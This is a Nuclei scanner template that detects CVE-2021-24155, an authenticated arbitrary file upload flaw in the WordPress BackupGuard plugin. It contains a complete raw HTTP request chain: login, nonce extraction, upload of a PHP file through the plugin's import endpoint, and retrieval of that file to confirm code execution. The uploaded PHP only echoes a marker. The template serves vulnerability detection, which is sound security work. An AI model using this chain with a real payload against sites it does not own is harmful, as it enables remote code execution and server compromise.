id: CVE-2021-24155

info:
  name: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
  author: theamanrawat
  severity: high
  description: |
    WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
  reference:
    - https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
    - https://wordpress.org/plugins/backup/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24155
    - http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
  remediation: Fixed in version 1.6.0.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24155
    cwe-id: CWE-434
    epss-score: 0.95474
    cpe: cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 4
    verified: true
    framework: wordpress
    vendor: backup-guard
    product: backup_guard
  tags: authenticated,wp,packetstorm,wp-plugin,cve2021,rce,wordpress,cve,backup,wpscan,intrusive

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921

        -----------------------------204200867127808062083805313921
        Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
        Content-Type: application/x-php

        <?php

        echo "CVE-2021-24155";

        ?>

        -----------------------------204200867127808062083805313921--
      - |
        GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    req-condition: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(header_4, "text/html")
          - status_code_4 == 200
          - contains(body_3, '{\"success\":1}')
          - contains(body_4, 'CVE-2021-24155')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"};
        internal: true